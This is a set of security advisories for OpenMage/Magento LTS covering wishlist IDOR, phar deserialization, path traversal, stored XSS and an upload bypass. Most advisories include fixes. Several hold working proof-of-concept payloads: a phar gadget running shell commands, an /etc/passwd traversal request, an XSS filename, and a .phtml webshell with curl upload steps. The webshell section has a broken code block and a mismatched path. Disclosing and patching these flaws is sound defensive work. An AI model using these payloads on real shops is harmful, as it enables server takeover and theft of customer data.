Package Instance

Magento's X-Original-Url header can expose admin url
The admin url can be discovered without prior knowledge of its location by exploiting the X-Original-Url header on some configurations.

DoS vulnerability in MaliciousCode filter
### Impact
Infinite loop in malicious code filter in certain conditions.

### Workarounds

None

OpenMage LTS: Cross-user wishlist import leads to private option & file disclosure
# Cross-user wishlist item import via shared wishlist code, leading to private option disclosure and file-disclosure variant

## Summary

The shared wishlist add-to-cart endpoint authorizes access with a public `sharing_code`, but loads the acted-on wishlist item by a separate global `wishlist_item_id` and never verifies that the item belongs to the shared wishlist referenced by that code.

This lets an attacker use:

- a valid shared wishlist code for wishlist A
- a wishlist item ID belonging to victim wishlist B

to import victim item B into the attacker's cart through the shared wishlist flow for wishlist A.

Because the victim item's stored `buyRequest` is reused during cart import, the victim's private custom-option data is copied into the attacker's quote. If the product uses a file custom option, this can be elevated to cross-user file disclosure because the imported file metadata is preserved and the download endpoint is not ownership-bound.

## Vulnerability Type

- Broken object-level authorization / IDOR
- Cross-user data disclosure
- Cross-user file disclosure variant

## Root Cause

In `app/code/core/Mage/Wishlist/controllers/SharedController.php`, the shared flow does:

```php
$item = Mage::getModel('wishlist/item')->load($itemId);
$wishlist = Mage::getModel('wishlist/wishlist')->loadByCode($code);
...
$item->addToCart($cart);
```

Relevant lines:

- `SharedController.php:86` loads the wishlist item by global ID
- `SharedController.php:87` loads the wishlist by shared code
- `SharedController.php:99` imports the item into cart

There is no check that:

```php
$item->getWishlistId() == $wishlist->getId()
```

The safe owner flow in `app/code/core/Mage/Wishlist/controllers/IndexController.php:521-528` does preserve this binding by deriving the wishlist from `item->getWishlistId()`.

The imported item keeps its original `buyRequest` because `app/code/core/Mage/Wishlist/Model/Item.php:370-372` passes that stored request directly into:

```php
$cart->addProduct($product, $buyRequest);
```

## Security Impact

### Baseline impact

An attacker can import another user's private wishlist item into the attacker's own cart, using an unrelated shared wishlist code.

This is a clear cross-user authorization bypass. The victim item's private configuration is copied into the attacker's quote, including custom-option values such as personalized text.

### Stronger variant: cross-user file disclosure

If the victim item contains a custom option of type `file`, the imported quote item preserves file metadata such as:

- `quote_path`
- `order_path`
- `secret_key`

The file option renderer in `app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:547-552` generates a download URL from:

- the imported `sales/quote_item_option` ID
- the preserved `secret_key`

The downloader in `app/code/core/Mage/Sales/controllers/DownloadController.php:150-185`:

- loads quote item option by global ID
- verifies only product option type and `secret_key`
- reads the file from `order_path` or `quote_path`

It does not verify ownership of the quote item, order, or original wishlist item. This creates a cross-user file disclosure path once victim file metadata has been imported.

## Steps To Reproduce

### Lab data

- shared wishlist A:
  - `wishlist_id = 1`
  - `customer_id = 2`
  - `sharing_code = 6376bb8c37a09c2de3664bd8cdc16412`
- victim wishlist B:
  - `wishlist_id = 2`
  - `customer_id = 3`
- victim item:
  - `wishlist_item_id = 1`
  - `wishlist_id = 2`
  - `product_id = 2`
- victim private text option marker:
  - `VICTIM-MARKER-49040822`

### Reproduction

Send:

```http
GET /wishlist/shared/cart/?code=6376bb8c37a09c2de3664bd8cdc16412&item=1
```

Where:

- `code` belongs to shared wishlist A
- `item=1` belongs to victim wishlist B

### Expected result

The request should be rejected because the item does not belong to the shared wishlist referenced by the `sharing_code`.

### Actual result

The application imports victim item `1` into the attacker's quote anyway.

## Verified Evidence

### Baseline variant

Previously verified at quote/option level in lab:

```text
option_1 = VICTIM-MARKER-49040822
```

This shows that the attacker's cart received victim-private custom-option data from another user's wishlist item.

### File-disclosure variant

Previously verified in lab after importing a victim file-option payload:

```text
/sales/download/downloadCustomOption/id/9/key/86fca9b61c0b891b52fb/
```

This URL was generated from imported quote item option data containing the victim file metadata and secret key.

## Why This Is A Valid Bug

This is not a timing issue and does not depend on non-default security settings.

The bug is a direct authorization failure:

- authorization is based on wishlist A's share code
- the acted-on object is item B from another wishlist
- there is no item-to-wishlist binding check
- victim-controlled item state is then copied into attacker-controlled cart state

That is a broken object-level authorization issue with clear cross-user impact.

## Remediation

In `SharedController::cartAction()`, reject any request where the loaded item does not belong to the wishlist loaded from the share code:

```php
$item = Mage::getModel('wishlist/item')->load($itemId);
$wishlist = Mage::getModel('wishlist/wishlist')->loadByCode($code);

if (!$item->getId() || !$wishlist->getId() || (int) $item->getWishlistId() !== (int) $wishlist->getId()) {
    return $this->_forward('noRoute');
}
```

Defense in depth:

- bind `sales/download/downloadCustomOption` to the current quote/order owner instead of trusting only `id + secret_key`

OpenMage LTS: Phar Deserialization leads to Remote Code Execution
PHP functions such as `getimagesize()`, `file_exists()`, and `is_readable()` can trigger deserialization when processing `phar://` stream wrapper paths. OpenMage LTS uses these functions with potentially controllable file paths during image validation and media handling. An attacker who can upload a malicious phar file (disguised as an image) and trigger one of these functions with a `phar://` path can achieve arbitrary code execution.

| Metric                   | Value     | Justification                                    |
| ------------------------ | --------- | ------------------------------------------------ |
| Attack Vector (AV)       | Network   | Exploitable via file upload and web requests     |
| Attack Complexity (AC)   | High      | Requires file upload + triggering phar:// access |
| Privileges Required (PR) | None      | Some upload vectors don't require authentication |
| User Interaction (UI)    | None      | Exploitation is automatic once triggered         |
| Scope (S)                | Unchanged | Impacts the vulnerable component                 |
| Confidentiality (C)      | High      | Full system access via RCE                       |
| Integrity (I)            | High      | Arbitrary code execution                         |
| Availability (A)         | High      | Complete system compromise possible              |

## Affected Products

- OpenMage LTS versions < 20.16.1
- All versions derived from Magento 1.x with these code paths

## Affected Files

| File                                                      | Line | Vulnerable Function                            |
| --------------------------------------------------------- | ---- | ---------------------------------------------- |
| `app/code/core/Mage/Core/Model/File/Validator/Image.php`  | 72   | `getimagesize($filePath)`                      |
| `app/code/core/Mage/Cms/Model/Wysiwyg/Images/Storage.php` | 137  | `getimagesize($item->getFilename())`           |
| `lib/Varien/Image.php`                                    | 71   | `$this->_getAdapter()->open($this->_fileName)` |

## Vulnerability Details

PHP's phar (PHP Archive) format stores metadata that is serialized. When PHP's stream wrapper functions access a file using the `phar://` protocol, the metadata is automatically deserialized. This occurs even with seemingly safe functions like `file_exists()` or `getimagesize()`.

A polyglot file can be crafted that is both a valid image (passing initial validation) and a valid phar archive containing malicious serialized objects. When the application later processes this file using `phar://`, the deserialization triggers a gadget chain leading to RCE.

### Attack Flow

1. **Create polyglot file**: Attacker creates a file that is both valid JPEG and valid PHAR
2. **Upload file**: Attacker uploads the polyglot via product images, CMS media, or import
3. **Trigger phar:// access**: Attacker causes the application to access the file using `phar://` wrapper
4. **Code execution**: PHAR metadata deserialization triggers gadget chain

### Proof of Concept

```php
<?php
// Create malicious phar file
class ExploitGadget {
    public $cmd = 'id > /tmp/pwned';
    function __destruct() {
        system($this->cmd);
    }
}

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new ExploitGadget());
$phar->stopBuffering();

// Rename to appear as image
rename('exploit.phar', 'exploit.jpg');

// When getimagesize('phar://path/to/exploit.jpg') is called,
// the ExploitGadget::__destruct() method executes
```

## Remediation

Block `phar://` paths before passing to vulnerable functions:

```php
// Before (vulnerable)
[$imageWidth, $imageHeight, $fileType] = getimagesize($filePath);

// After (fixed)
if (str_starts_with($filePath, 'phar://')) {
    throw new Exception('Invalid image path.');
}
[$imageWidth, $imageHeight, $fileType] = getimagesize($filePath);
```

Additionally, ICO files (which cannot be re-encoded by GD) are now scanned for phar signatures:

- `__HALT_COMPILER();` - Required phar stub
- `<?php` - PHP opening tag
- `<?=` - PHP short echo tag

Additional hardening measures:

1. **ICO uploads removed**: ICO file support is completely removed from new image uploads. This eliminates the polyglot attack vector entirely since all other image formats are re-encoded by GD, which strips any embedded phar metadata.

2. **Phar wrapper disabled**: The `phar://` stream wrapper is unregistered at application bootstrap, preventing any phar deserialization attacks regardless of code path.

3. **Cache deserialization hardening**: All `unserialize()` calls on cached data now use `allowed_classes => false` as defense-in-depth.

**Note:** Existing uploaded ICO files will continue to work. Only new ICO uploads will be rejected. Users are encouraged to use PNG favicons for new uploads.

## Workarounds

If immediate upgrade is not possible:

1. **Disable phar stream wrapper** (if not needed):

   ```ini
   ; php.ini
   disable_functions = phar://
   ```

   Or in code:

   ```php
   stream_wrapper_unregister('phar');
   ```

2. **Strict upload validation**: Implement additional validation beyond file extension

3. **File storage isolation**: Store uploads outside web root with randomized names

4. **Web Application Firewall**: Block requests containing `phar://` in parameters


## Credit

This vulnerability was discovered and responsibly disclosed by [blackhat2013](https://hackerone.com/blackhat2013) through HackerOne.

## Timeline

- **2025-12-31**: Vulnerability reported via HackerOne
- **2026-01-21**: Fix developed and tested

Source: https://hackerone.com/reports/3482926

Magento LTS vulnerable to stored XSS in theme config fields
As reported by [Aakash Adhikari](https://hackerone.com/dark_haxor), Github: @justlife4x4, the Design > Themes > Skin (Images / CSS) config field allows a Stored XSS when it contains an end script tag.

Deserialization of Untrusted Data
Magento-lts is a long-term support alternative to Magento Community Edition (CE). In magento-lts versions 19.4.12 and prior and 20.0.8 and prior, there is a vulnerability caused by the unsecured deserialization of an object. A patch in versions 19.4.13 and 20.0.9 was back ported from Zend Framework 3. The vulnerability was assigned CVE-2021-3007 in Zend Framework.

Magento LTS vulnerable to stored Cross-site Scripting (XSS) in admin system configs
This XSS vulnerability is about the system configs
* design/header/welcome
* design/header/logo_src
* design/header/logo_src_small
* design/header/logo_alt

They are intended to enable admins to set a text in the two cases, and to define an image url for the other two cases.
But because of previously missing escaping allowed to input arbitrary html and as a consequence also arbitrary JavaScript.

While this is in most usage scenarios not a relevant issue, some people work with more restrictive roles in the backend. Here the ability to inject JavaScript with these settings would be an unintended and unwanted privilege.

Path Traversal
OpenMage is a community-driven alternative to Magento CE. In OpenMage there is a vulnerability which enables remote code execution. In affected versions an administrator with permission to update product data to be able to store an executable file on the server and load it via layout xml.

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Magento-lts is a long-term support alternative to Magento Community Edition (CE). A vulnerability in magento-lts versions before 19.4.13 and 20.0.9 potentially allows an administrator unauthorized access to restricted resources. This is a backport of CVE-2021-21024. The vulnerability is patched in versions 19.4.13 and 20.0.9.

OpenMage LTS has a Path Traversal Filter Bypass in Dataflow Module
The Dataflow module in OpenMage LTS uses a weak blacklist filter (`str_replace('../', '', $input)`) to prevent path traversal attacks. This filter can be bypassed using patterns like `..././` or `....//`, which after the replacement still result in `../`. An authenticated administrator can exploit this to read arbitrary files from the server filesystem.


| Metric                   | Value     | Justification                         |
| ------------------------ | --------- | ------------------------------------- |
| Attack Vector (AV)       | Network   | Exploitable via admin panel           |
| Attack Complexity (AC)   | Low       | Simple bypass pattern                 |
| Privileges Required (PR) | High      | Requires admin authentication         |
| User Interaction (UI)    | None      | No additional user interaction needed |
| Scope (S)                | Unchanged | Impacts the vulnerable component      |
| Confidentiality (C)      | High      | Can read sensitive system files       |
| Integrity (I)            | None      | Read-only vulnerability               |
| Availability (A)         | None      | No impact on availability             |

## Affected Products

- OpenMage LTS versions < 20.16.1
- All versions derived from Magento 1.x with these code paths

## Affected Files

| File                                                         | Line | Vulnerable Code                          |
| ------------------------------------------------------------ | ---- | ---------------------------------------- |
| `app/code/core/Mage/Dataflow/Model/Convert/Parser/Csv.php`   | 67   | `str_replace('../', '', urldecode(...))` |
| `app/code/core/Mage/Dataflow/Model/Convert/Parser/Xml/Excel.php` | 63   | `str_replace('../', '', urldecode(...))` |

## Vulnerability Details

The Dataflow module allows administrators to import data from files. The `files` parameter specifies which file to import from the `var/import/` directory. To prevent path traversal, the code uses `str_replace()` to remove `../` sequences:

```php
$file = Mage::app()->getConfig()->getTempVarDir() . '/import/'
    . str_replace('../', '', urldecode(Mage::app()->getRequest()->getParam('files')));
```

However, `str_replace()` only performs a single pass, making it trivially bypassable:

### Bypass Examples

| Input                          | After `str_replace('../', '', ...)` | Result    |
| ------------------------------ | ----------------------------------- | --------- |
| `..././`                       | `../`                               | Bypass    |
| `....//`                       | `../`                               | Bypass    |
| `..././..././..././etc/passwd` | `../../../etc/passwd`               | File read |

### Attack Scenario

1. Attacker gains admin access (via compromised credentials, social engineering, etc.)
2. Navigate to System > Import/Export > Dataflow Profiles
3. Create or modify an import profile
4. Set the `files` parameter to: `..././..././..././etc/passwd`
5. Run the profile to read the contents of `/etc/passwd`

### Proof of Concept

```
# Request to Dataflow with bypass pattern
GET /admin/system_convert_gui/run/id/1/?files=..././..././..././etc/passwd

# The str_replace removes '../' leaving:
# ..././..././..././etc/passwd -> ../../../etc/passwd

# Final path resolves to:
# /var/www/html/var/import/../../../etc/passwd -> /etc/passwd
```

## Remediation

Replace the weak `str_replace()` filter with `basename()` to extract only the filename:

```php
// Before (vulnerable)
$file = Mage::app()->getConfig()->getTempVarDir() . '/import/'
    . str_replace('../', '', urldecode(Mage::app()->getRequest()->getParam('files')));

// After (fixed)
$file = Mage::app()->getConfig()->getTempVarDir() . '/import/'
    . basename(urldecode(Mage::app()->getRequest()->getParam('files')));
```

Using `basename()` ensures only the filename portion is used, completely preventing any path traversal regardless of the input pattern.

## Workarounds

If immediate upgrade is not possible:

1. **Restrict admin access**: Limit Dataflow access to trusted administrators only
2. **Disable Dataflow**: If not in use, disable the Dataflow module entirely
3. **Web Application Firewall**: Block requests containing path traversal patterns
4. **File permissions**: Ensure the web server user has minimal filesystem permissions
5. **Monitor admin activity**: Alert on suspicious Dataflow profile execution

## Impact

An attacker with admin access can read sensitive files including:

- `/etc/passwd` - System user information
- `app/etc/local.xml` - Database credentials
- `.env` files - Environment secrets
- Log files - Potentially sensitive application data
- Configuration files - Server and application configuration

## Credit

This vulnerability was discovered and responsibly disclosed by [blackhat2013](https://hackerone.com/blackhat2013) through HackerOne.

## Timeline

- **2025-12-31**: Vulnerability reported via HackerOne
- **2026-01-21**: Fix developed and tested

Magento LTS vulnerable to stored XSS in admin file form
### Summary
OpenMage is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields.

### Details
`Mage_Adminhtml_Block_System_Config_Form_Field_File` does not escape filename value in certain situations.
Same as: https://nvd.nist.gov/vuln/detail/CVE-2024-20717

### PoC
1. Create empty file with this filename: `<img src=x onerror=alert(1)>.crt`
2. Go to _System_ > _Configuration_ > _Sales | Payment Methonds_.
3. Click **Configure** on _PayPal Express Checkout_.
4. Choose **API Certificate** from dropdown _API Authentication Methods_.
5. Choose the XSS-file and click **Save Config**.
6. Profit, alerts "1" -> XSS.
7. Reload, alerts "1" -> Stored XSS.

### Impact
Affects admins that have access to any fileupload field in admin in core or custom implementations.
Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.

OpenMage LTS: Customer File Upload Extension Blocklist Bypass → Remote Code Execution
The product custom option file upload in OpenMage LTS uses an incomplete blocklist (`forbidden_extensions = php,exe`) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as `.phtml`, `.phar`, `.php3`, `.php4`, `.php5`, `.php7`, and `.pht`. Files are stored in the publicly accessible `media/custom_options/quote/` directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.

## Affected Version

- **Project:** OpenMage/magento-lts
- **Vulnerable File:** `https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php`
- **Vulnerable Lines:** 230-237 (`_validateUploadedFile()`)
- **Configuration:** `app/code/core/Mage/Catalog/etc/config.xml:824`

## Root Cause

The file upload handler uses `Zend_File_Transfer_Adapter_Http` directly with `ExcludeExtension` validator, referencing only:

```xml
<!-- Catalog/etc/config.xml:824 -->
<forbidden_extensions>php,exe</forbidden_extensions>
```

This misses the comprehensive `protected_extensions` blocklist defined elsewhere:

```xml
<!-- Core/etc/config.xml:449-478 -->
php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, 
htm, html, pht, phtml, shtml
```

## Vulnerable Code

```php
// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237
$_allowed = $this->_parseExtensionsString($option->getFileExtension());
if ($_allowed !== null) {
    $upload->addValidator('Extension', false, $_allowed);
} else {
    $_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));
    if ($_forbidden !== null) {
        $upload->addValidator('ExcludeExtension', false, $_forbidden);  // Only blocks php,exe!
    }
}
```

## Steps to Reproduce

### 1. Environment Setup

Target: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)

### 2. Exploitation


```bash
# Upload .phtml (bypasses blocklist)
curl -X POST "https://target.com/vulnerable_upload.php" \
  -F "file=@shell.phtml;filename=shell.phtml"
```

**Result:** 
<img width="1563" height="733" alt="image" src="https://github.com/user-attachments/assets/c56d43e8-364a-4402-8198-9f49a50fd691" />

### 3. Code Execution

OpenMage derives the uploaded file's storage path deterministically from two values the attacker
already controls:

**Subdirectory** — `getDispretionPath($filename)` takes the **first two characters** of the
uploaded filename and uses them as nested directory names:

```
filename = "shell.phtml"  →  s/ h/  →  media/custom_options/quote/s/h/
```

**Filename** — `md5(file_get_contents($tmp_name))` is computed over the **raw bytes of the
uploaded payload** (`File.php:245`):

```php
// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245
$fileHash = md5(file_get_contents($fileInfo['tmp_name']));
$filePath  = $dispersion . DS . $fileHash . '.' . $extension;
```

Because the attacker writes the webshell themselves, both the filename prefix and file contents are
known **before the upload request is sent**. The full URL can be pre-computed:

```bash
SHELL_CONTENT='<?php echo exec("id"); system($_GET["cmd"]??"id"); ?>\n'
HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1)
PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h

```bash
curl "https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml"
```

**Result:** RCE Confirmed

<img width="1559" height="827" alt="image" src="https://github.com/user-attachments/assets/12990f06-8750-48e6-87c5-add18b9e7260" />

## Affected Deployments

| Configuration | Status |
|---------------|--------|
| Apache + mod_php (with `php_flag engine 0`) | SAFE |
| Apache + PHP-FPM | **VULNERABLE** |
| Nginx (reference hardened config) | SAFE |
| Nginx (generic config with .phtml→FPM) | **VULNERABLE** |

## Impact

1. **Remote Code Execution:** Full server compromise through webshell upload
2. **Data Exfiltration:** Access to database credentials, customer PII, payment data
3. **Lateral Movement:** Pivot to internal infrastructure
4. **Supply Chain:** Inject malicious code into served content